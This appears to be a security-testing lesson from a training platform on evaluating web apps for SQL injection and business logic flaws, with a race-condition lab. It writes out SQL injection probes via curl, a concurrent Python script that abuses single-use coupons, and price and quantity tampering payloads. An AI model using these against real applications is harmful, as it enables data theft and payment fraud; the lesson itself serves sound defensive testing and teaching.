Browse CTFs New CTF Sign in

Injection & Business Logic Testing in Formal Evaluations

security_testing_method Difficulty 2–3 55 min certifiable

Theory

Prerequisites

  • STE-K002: Test Case Design
  • PEN-K005: SQL Injection (attack mechanics background)

Why This Lesson Matters

Injection flaws and business logic vulnerabilities share one trait: they are impossible to detect without understanding how the application is supposed to work. A scanner cannot find a race condition. A scanner cannot find a price manipulation flaw. These require a human evaluator who reads the specification, maps the test cases, and then deliberately tries to break the rules.


1. SQL Injection Evaluation

1.1 From Attack to Evaluation

In PEN, the question was "can I extract data?" In STE, the question is "does the application prevent SQL injection as required by CSS-IN01?"

The test procedure is the same. The documentation requirements are different.

Control: CSS-IN01 — The application shall prevent SQL injection in all
         user-controllable input fields.

Scope: All input parameters that interact with a database backend
  → Identified via: API documentation, source code (if white-box),
    or systematic parameter enumeration

Test inventory (from enumeration):
  /api/products?id=          → database query
  /api/search?q=             → database query
  /login body: username=     → database query
  /profile body: bio=        → database query (UPDATE)

1.2 Systematic Testing

# For each identified parameter, run the probe sequence:

# 1. Quote test (error-based detection)
curl "https://app.corp.local/api/products?id='"

# 2. Boolean differential
curl "https://app.corp.local/api/products?id=1"     # baseline
curl "https://app.corp.local/api/products?id=1 AND 1=1"  # should match baseline
curl "https://app.corp.local/api/products?id=1 AND 1=2"  # should differ

# 3. Time-based blind
curl "https://app.corp.local/api/products?id=1; SELECT SLEEP(5)"
# >5s response → injection confirmed

# Document each test with request/response pair and outcome

1.3 STE Finding: FAIL

Finding F004 — SQL Injection in /api/products id Parameter

Control: CSS-IN01
Test case: TC-IN01-003
Result: FAIL

Evidence:
  EX-021: Request with payload id=1 AND SLEEP(5) → response time 5.2s
  EX-022: Baseline request (id=1) → response time 0.1s
  EX-023: UNION SELECT extraction showing database version "8.0.32"

Confirmed: Time-based blind SQL injection allows data extraction
CVSS: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1 Critical

2. Business Logic Testing

2.1 Understanding the Intended Workflow

Before testing business logic, document the intended workflow:

E-commerce checkout flow (from spec):
  1. Add items to cart
  2. Enter coupon code (optional, max 1 per order)
  3. Review total
  4. Enter payment
  5. Confirm purchase

Control BL-01: "Each coupon code shall be applied a maximum of once per order."
Control BL-02: "Order total shall be calculated server-side."
Control BL-03: "Item quantity shall be validated as a positive integer."

2.2 Race Condition Testing

Control BL-01: Coupon codes are single-use per order.

Attack hypothesis: if two concurrent requests apply the same coupon,
both may succeed before either is marked "used."

Test procedure:
  Step 1: Configure cart with 1 item (e.g., $100)
  Step 2: Identify coupon "SAVE50" that gives 50% discount
  Step 3: Send 20 concurrent requests applying "SAVE50"

Python implementation:
import concurrent.futures, requests, time

SESSION_TOKEN = "your_session_cookie"
BASE_URL = "https://app.corp.local"

def apply_coupon():
    r = requests.post(f"{BASE_URL}/cart/apply-coupon",
                      json={"coupon": "SAVE50"},
                      cookies={"session": SESSION_TOKEN},
                      timeout=10)
    return r.status_code, r.json().get("discount", 0)

# Parallel execution
with concurrent.futures.ThreadPoolExecutor(max_workers=20) as ex:
    futures = [ex.submit(apply_coupon) for _ in range(20)]
    results = [f.result() for f in concurrent.futures.as_completed(futures)]

successes = [r for r in results if r[0] == 200 and r[1] > 0]
print(f"Coupon applied {len(successes)} times from 20 concurrent requests")
Expected: coupon applied exactly once
FAIL condition: coupon applied > 1 time (discount_total > $50)

Evidence:
  EX-030: Screenshot showing 3 successful coupon applications from 20 requests
  EX-031: Cart total showing $-150 discount (3× $50) instead of $50 max

2.3 Parameter Manipulation

Control BL-02: Order total shall be calculated server-side.

Test procedure:
  Step 1: Intercept checkout request (Burp)
  Step 2: Find if total price is a POST body parameter
    → {"item_id": 1, "qty": 1, "price": 99.99, "total": 99.99}
  Step 3: Modify price to 0.01
    → {"item_id": 1, "qty": 1, "price": 0.01, "total": 0.01}
  Expected: server ignores client-provided price; uses its own calculation
  FAIL: order processed at $0.01

Control BL-03: Quantity shall be a positive integer.

Test cases:
  qty=0        → should be rejected
  qty=-1       → should be rejected (negative = refund attack)
  qty=99999    → should be rejected (unreasonable order)
  qty=1.5      → should be rejected (not integer)
  qty=abc      → should return 400 Bad Request

3. Common Mistakes

Mistake 1: Testing race conditions with sequential requests. A race condition requires true concurrency. Sequential requests that are slightly faster do not reproduce the issue. Use concurrent.futures, Burp Turbo Intruder, or goroutines.

Mistake 2: Only testing obvious parameters. The price field in a checkout request is obvious. The discount_percentage field in a session cookie is less obvious. Enumerate all parameters that touch business-critical calculations.


4. Practice Exercises

  1. Write the test cases for control BL-02 (server-side price calculation) in the complete STE test case format. Include positive and negative tests.

  2. You find that 4 of 20 concurrent coupon requests succeed. The control says "single-use." Write the FAIL finding with CVSS score.

  3. An STE evaluates a banking app. Control BL-05 says "transfer amounts shall be positive integers." What five test cases do you design for this control?


5. Lab

Assessment mode: flag

challenge_spec_id: 174 — Race condition

A loyalty programme allows redeeming 1000 points once per transaction.

Task: 1. Identify the redemption endpoint 2. Send 15 concurrent redemption requests using concurrent.futures 3. Confirm the race condition by observing multiple successes 4. The flag is revealed when your balance exceeds the race condition threshold


6. Framework Alignment

Framework Role Competency Confidence
CCSSF-STE Security Testing & Evaluation Injection and business logic testing High
CCSSF-PEN Penetration Tester Advanced web application attacks High
NICE 2.2.0 Security Testing K0009 — Application vulnerabilities High

7. Further Reading

  • PortSwigger Business Logic Labs — 11 labs; race conditions, price manipulation, workflow bypass
  • Turbo Intruder documentation — https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack
  • OWASP Testing Guide OTG-BUSLOGIC — Business logic test case templates

Learning Objectives

["Apply the STE injection testing workflow to enumerate all injectable parameters in a web application and produce a test case for each identified parameter", "Execute a race condition test using Python concurrent.futures with 20 parallel requests against a coupon redemption endpoint and document the result with a FAIL finding if multiple applications succeed", "Write test cases for three business logic controls covering server-side price calculation, negative quantity rejection, and single-use token enforcement"]

Lesson Outline

Prerequisites → Why this matters → SQL injection evaluation (from attack to STE, systematic testing, STE finding template) → Business logic testing (understanding workflow first, race condition with Python code, parameter manipulation) → Common mistakes → Practice exercises → Lab (flag, spec 174) → Framework alignment → Further reading

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.